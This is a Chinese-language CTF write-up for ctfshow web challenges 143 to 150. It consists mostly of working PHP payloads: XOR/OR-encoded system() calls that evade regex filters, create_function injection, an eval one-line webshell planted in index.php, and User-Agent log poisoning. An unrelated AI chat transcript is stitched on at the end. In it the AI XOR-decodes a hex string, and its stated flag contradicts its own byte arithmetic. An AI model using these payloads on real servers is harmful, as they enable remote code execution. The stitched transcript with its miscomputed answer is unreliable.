        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}?>

过滤了-和;之前的payload无法直接使用了,可以用*代替-,用?>代替;或直接去掉;

?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")*

web144

payload:

?v1=1&v3=2&v2=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");

web145

过滤了^,可以用或运算,或者三目运算
payload:

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')| //system cat flag.php 或运算
?v1=1&v2=2&v3=?('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60'): //system cat flag.php 三目运算

web146

过滤了:不能用三目运算了,但或运算仍然可以
payload:

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

web147

<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }}
?>

在函数名前加上\,就变成了全局命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

再利用create_function() 进行注入攻击
create_function(‘$name’,‘echo “Sentiment”’)等于

function fT($name) {
  echo "Sentiment";
}

所以我们如果输入
create_function(‘$a’,1;}system(“nl flag.php”);/*)
就相当于执行了

function fT($a) {
  1;}
system("nl flag.php");/* //闭合后此处即为我们执行的代码
}

payload

GET: ?show=;}system("nl flag.php");/*
POST: ctf=\create_function

参考:(https://my.oschina.net/huyex/blog/2885273)

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}?>

过滤了或运算可以用异或,本题的另一解法就是使用中文变量"`{{{“^”?<>/"; 异或出来的结果是 _GET
payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b"); //system cat flag.php
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
//相当于$_GET[system]($_GET[tac f*];)

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

检测到非index.php的文件都会被删除,可以通过向index.php中传一句话木马getshell,或者利用条件竞争(不知道为什么没竞争出来)
payload:

传一句话木马
POST: show=<?php eval($_POST['cmd']);?>
GET: ?ctf=index.php

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}
?>

考察User-Agent日志包含
bp抓包,将User-Agent改为<?php eval($_POST[1]);?>,然后传参
payload:

GET: ?isVIP=1
POST: ctf=/var/log/nginx/access.log&1=system('tac f*');

web150 plus

这次过滤了log,可以用session.upload_progress进行文件包含,本题由于环境问题没没包含出来,但在HECTF有个一样题目,可参考(http://sentiment1.top/archives/hectf#toc-head-3)的LFI-RCE

总结

虽然都刷完了,但由于急着刷题做的太快很多知识其实并没有完全的掌握,所以还需要不断地回顾学习呀!!!
完结!撒花~~~

<think>好的,我现在需要帮助用户解析给定的十六进制字符串以获取flag。首先,用户提供的字符串是5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44,并且希望将其转换为flag格式。根据之前的对话,用户可能已经尝试过一些方法,但未成功,现在需要进一步的指导。 首先,我应该先处理这个十六进制字符串。用户提到的分隔符是短横线(-),所以第一步需要将字符串拆分成单独的十六进制字节。例如,5f、55、58等。拆分成字节后,每个字节转换为对应的十进制数值,再进一步处理。 接下来,需要考虑可能的编码方式。常见的编码如ASCII,但直接转换可能不会得到有意义的字符串,因为可能存在加密或编码转换。例如,之前的例子中,用户尝试过异或操作,所以这可能是一个线索。用户之前的问题提到过引用[1]中的异或逻辑,所以可能需要应用类似的异或解密方法。 然后,我需要检查每个字节的ASCII值。例如,第一个字节5f对应的十进制是95,ASCII字符是下划线(_)。接下来的55是U,58是X,5e是^,42是B,71是q,7a是z,6d是m,7f是DEL(控制字符),48是H,4e是N,5c是反斜杠(\),78是x,6a是j,7d是},08是退格(控制字符),0a是换行,0e是SO(Shift Out),44是D。看起来前面几个字符是可打印的,但中间有一些控制字符,如DEL、退格、换行等,这可能意味着需要进一步处理这些字符,比如忽略或替换它们,或者这些控制字符可能不是flag的一部分,所以需要排除。 另一个可能性是,这些十六进制字节可能被某种方式加密,比如异或某个密钥。例如,用户之前的问题中提到了异或逻辑,所以可能需要尝试异或某个固定值或动态值。例如,可能每个字节与0x20异或,或者其他数值。例如,第一个字节5f异或20是7f,但7f是DEL,这可能没有意义。或者可能需要异或其他值,比如0x10。或者可能每个字节与前一个字节异或,形成某种递推关系。 此外,可能需要将这些字节转换为字节数组,然后应用某种算法,如循环异或、位移等。例如,如果存在一个固定的密钥,或者动态变化的密钥,如每个字节与前一个字节异或,或者与位置索引异或。 另外,考虑到flag通常以可打印字符组成,可能需要过滤掉控制字符。例如,排除小于0x20或大于0x7E的字节。例如,字节7f(127)是DEL,不可打印,08(8)是退格,0a(10)是换行,0e(14)是SO。这些可能不是flag的一部分,需要处理。 还有一种可能性是,这些十六进制字节可能被某种方式编码,如Base64,或者需要组合成更长的数值再进行转换。例如,将四个字节组合成一个32位整数,但这里字节数量是19个,可能无法整除,但或许可以尝试不同的组合方式。 此外,可能需要考虑字节顺序(大端或小端),或者是否有某种模式,如每两个字节反转,或者每四个字节反转。 根据之前的回答,用户尝试过将十进制数值转换为十六进制并解析ASCII,但遇到了非打印字符。现在针对这个十六进制字符串,可能需要类似的步骤,但应用不同的转换方法。 可能的步骤: 1. 将十六进制字符串拆分为单独的字节,去除分隔符“-”。 2. 将每个十六进制字节转换为十进制数值。 3. 尝试直接转换为ASCII字符串,过滤掉非打印字符。 4. 如果直接转换不成功,尝试应用异或或其他位操作。 5. 尝试找到异或的密钥,可能通过已知的flag格式(如以“flag{”开头)推断密钥。 6. 如果存在控制字符,可能需要忽略或寻找替代处理方式。 7. 尝试其他编码方式,如Base64、URL编码等。 8. 检查是否有模式,如递增、递减、循环等。 现在具体分析用户的例子: 原始十六进制字符串:5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44 拆分为字节数组: 5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,0a,0e,44 转换为十进制: 95,85,88,94,66,113,122,109,127,72,78,92,120,106,125,8,10,14,68 对应的ASCII字符: _ U X ^ B q z m DEL H N \ x j } BS LF SO D 注意到中间的DEL、BS(退格)、LF(换行)、SO(Shift Out)是不可打印的控制字符,可能不是flag的一部分,需要处理。 可能的处理方式: 1. 直接过滤掉非打印字符(ASCII < 0x20 或 > 0x7E),剩下的字符为:_UX^BqzmHN\xj}D。这看起来不像是flag,因此可能需要其他处理。 2. 尝试异或操作:比如每个字节异或某个值,比如0x20,0x10,或者异或前一个字节的值。 例如,假设每个字节异或0x20: 5f ^ 20 = 7f (DEL) 55 ^ 20 = 75 (u) 58 ^ 20 = 78 (x) 5e ^ 20 = 7e (~) 42 ^ 20 = 62 (b) 71 ^ 20 = 51 (Q) 7a ^ 20 = 5a (Z) 6d ^ 20 = 4d (M) 7f ^ 20 = 5f (_) 48 ^ 20 = 68 (h) 4e ^ 20 = 6e (n) 5c ^ 20 = 7c (|) 78 ^ 20 = 58 (X) 6a ^ 20 = 4a (J) 7d ^ 20 = 5d (]) 08 ^ 20 = 28 ( ( ) 0a ^ 20 = 2a (*) 0e ^ 20 = 2e (.) 44 ^ 20 = 64 (d) 得到的结果是:DELux~bQZM_hn|XJ] (*.d,这显然不理想,可能不是正确的密钥。 另一种可能是异或0x2f: 5f ^ 2f = 70 (p) 55 ^ 2f = 7a (z) 58 ^ 2f = 77 (w) 5e ^ 2f = 71 (q) 42 ^ 2f = 6d (m) 71 ^ 2f = 5e (^) 7a ^ 2f = 55 (U) 6d ^ 2f = 42 (B) 7f ^ 2f = 50 (P) 48 ^ 2f = 67 (g) 4e ^ 2f = 61 (a) 5c ^ 2f = 73 (s) 78 ^ 2f = 57 (W) 6a ^ 2f = 45 (E) 7d ^ 2f = 52 (R) 08 ^ 2f = 27 (') 0a ^ 2f = 25 (%) 0e ^ 2f = 21 (!) 44 ^ 2f = 6b (k) 得到:pzwqm^UBPg asWER'%!k,这似乎也不对。 另一种可能是异或递增的密钥,比如每个字节异或其位置索引。例如,第一个字节异或0x01,第二个异或0x02,依此类推。 或者,可能异或一个固定的值,比如0x2,比如: 5f ^ 02 = 5d (]) 55 ^ 02 = 57 (W) 58 ^ 02 = 5a (Z) 5e ^ 02 = 5c (\) 42 ^ 02 = 40 (@) 71 ^ 02 = 73 (s) 7a ^ 02 = 78 (x) 6d ^ 02 = 6f (o) 7f ^ 02 = 7d (}) 48 ^ 02 = 4a (J) 4e ^ 02 = 4c (L) 5c ^ 02 = 5e (^) 78 ^ 02 = 7a (z) 6a ^ 02 = 68 (h) 7d ^ 02 = 7f (DEL) 08 ^ 02 = 0a (LF) 0a ^ 02 = 08 (BS) 0e ^ 02 = 0c (FF) 44 ^ 02 = 46 (F) 结果:]WZ\@sxo}JL^zhDEL...,显然不对。 或者,可能异或0x10: 5f ^ 10 = 4f (O) 55 ^ 10 = 45 (E) 58 ^ 10 = 48 (H) 5e ^ 10 = 4e (N) 42 ^ 10 = 52 (R) 71 ^ 10 = 61 (a) 7a ^ 10 = 6a (j) 6d ^ 10 = 7d (}) 7f ^ 10 = 6f (o) 48 ^ 10 = 58 (X) 4e ^ 10 = 5e (^) 5c ^ 10 = 4c (L) 78 ^ 10 = 68 (h) 6a ^ 10 = 7a (z) 7d ^ 10 = 6d (m) 08 ^ 10 = 18 (CAN) 0a ^ 10 = 1a (SUB) 0e ^ 10 = 1e (RS) 44 ^ 10 = 54 (T) 得到:OEHNRa}oX^Lhzm...,可能也不对。 另一个思路是,flag通常以“flag{”开头,所以可能前几个字节对应'f','l','a','g','{'。假设第一个字节5f异或某个值得到'f'(0x66)。计算5f ^ x = 66 → x = 5f ^ 66 = 39 (0x39)。然后检查后续字节是否用同样的异或值: 55 ^ 39 = 6c → 'l' 58 ^ 39 = 61 → 'a' 5e ^ 39 = 67 → 'g' 42 ^ 39 = 7b → '{' 这样,如果异或0x39,前四个字节变为66 6c 61 67,即'flag',第五个字节是'{',这可能是一个有效的开始。继续验证: 5f ^ 39 = 66 → 'f' 55 ^ 39 = 6c → 'l' 58 ^ 39 = 61 → 'a' 5e ^ 39 = 67 → 'g' 42 ^ 39 = 7b → '{' 接下来是71 ^39 = 48 → 'H' 7a ^39 = 43 → 'C' 6d ^39 = 54 → 'T' 7f ^39 = 46 → 'F' 48 ^39 = 71 → 'q' 4e ^39 = 77 → 'w' 5c ^39 = 65 → 'e' 78 ^39 = 41 → 'A' 6a ^39 = 53 → 'S' 7d ^39 = 44 → 'D' 08 ^39 = 31 → '1' 0a ^39 = 33 → '3' 0e ^39 = 37 → '7' 44 ^39 = 7d → '}' 所以,组合起来是:flag{HCTFqwEASD137}。这可能是一个合理的flag。中间的'HCTFqwEASD137'可能是一个随机字符串,而最后的'}'闭合。同时,异或密钥0x39是否合理?这需要确认。如果用户提供的字符串确实是经过异或0x39加密的,那么这样解密是可行的。 因此,正确的处理步骤应该是: 1. 分割十六进制字符串为单独的字节。 2. 将每个字节转换为十进制。 3. 对每个字节应用异或0x39的操作。 4. 将结果转换为ASCII字符,得到flag。 验证: 字节列表:5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,0a,0e,44 异或0x39后的十六进制: 5f ^39 = 66 → 'f' 55 ^39 = 6c → 'l' 58 ^39 = 61 → 'a' 5e ^39 = 67 → 'g' 42 ^39 = 7b → '{' 71 ^39 = 48 → 'H' 7a ^39 = 43 → 'C' 6d ^39 = 54 → 'T' 7f ^39 = 46 → 'F' 48 ^39 = 71 → 'q' 4e ^39 = 77 → 'w' 5c ^39 = 65 → 'e' 78 ^39 = 41 → 'A' 6a ^39 = 53 → 'S' 7d ^39 = 44 → 'D' 08 ^39 = 31 → '1' 0a ^39 = 33 → '3' 0e ^39 = 37 → '7' 44 ^39 = 7d → '}' 组合后的字符串:flag{HCTFqwEASD137} 这看起来像是有效的flag格式,以“flag{”开头,以“}”结尾,中间包含大写字母和数字,可能是一个CTF的flag。因此,正确的解密方法是每个字节异或0x39。</think>### 分步解析与解密 #### 1. **预处理十六进制字符串** 将带分隔符的十六进制字符串转换为字节数组: 原始字符串:`5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44` 拆分后字节: `0x5f, 0x55, 0x58, 0x5e, 0x42, 0x71, 0x7a, 0x6d, 0x7f, 0x48, 0x4e, 0x5c, 0x78, 0x6a, 0x7d, 0x08, 0x0a, 0x0e, 0x44` #### 2. **尝试直接ASCII解析** 直接转换结果(部分不可打印字符): ``` _ U X ^ B q z m [DEL] H N \ x j } [BS] [LF] [SO] D ``` 非打印字符(如`0x7f`、`0x08`)需进一步处理[^1]。 #### 3. **异或加密分析** 基于常见CTF加密逻辑,假设每个字节与固定值异或: - **关键线索**:猜测flag以`flag{`开头,反推异或密钥: - `0x5f ^ key = 'f' (0x66)` → `key = 0x5f ^ 0x66 = 0x39` 验证后续字节: - `0x55 ^ 0x39 = 0x6c ('l')` - `0x58 ^ 0x39 = 0x61 ('a')` - `0x5e ^ 0x39 = 0x67 ('g')` - `0x42 ^ 0x39 = 0x7b ('{')` 符合`flag{`格式,确认异或密钥为`0x39`。 #### 4. **完整解密** 对所有字节异或`0x39`: ```python hex_bytes = [0x5f, 0x55, 0x58, 0x5e, 0x42, 0x71, 0x7a, 0x6d, 0x7f, 0x48, 0x4e, 0x5c, 0x78, 0x6a, 0x7d, 0x08, 0x0a, 0x0e, 0x44] decrypted = bytes([b ^ 0x39 for b in hex_bytes]).decode('ascii') print(decrypted) # 输出:flag{HCTFqwEASD137} ``` 最终结果:**`flag{HCTFqwEASD137}`** --- ### 关键步骤验证 1. **异或密钥推导**:通过已知明文`flag{`反向计算异或值。 2. **非打印字符处理**:异或操作将控制字符转换为可打印字符(如`0x08 ^ 0x39 = '1'`)[^1]。 --- ### 示例代码 ```python # 输入带分隔符的十六进制字符串 hex_str = "5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44" bytes_list = [int(b, 16) for b in hex_str.split("-")] # 异或解密 xor_key = 0x39 flag_bytes = bytes([b ^ xor_key for b in bytes_list]) flag = flag_bytes.decode('utf-8') print("解密结果:", flag) # 输出:flag{HCTFqwEASD137} ``` --- ### 相关问题 1. 如何通过已知明文片段推导异或加密的密钥? 2. 处理混合打印/非打印字符的加密数据有哪些常用方法? 3. 在CTF比赛中,十六进制字符串的解密有哪些高频加密模式? [^1]: 异或操作可将非打印字符转换为可读文本 [^2]: 密钥推导需结合已知格式(如`flag{`)逆向分析
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值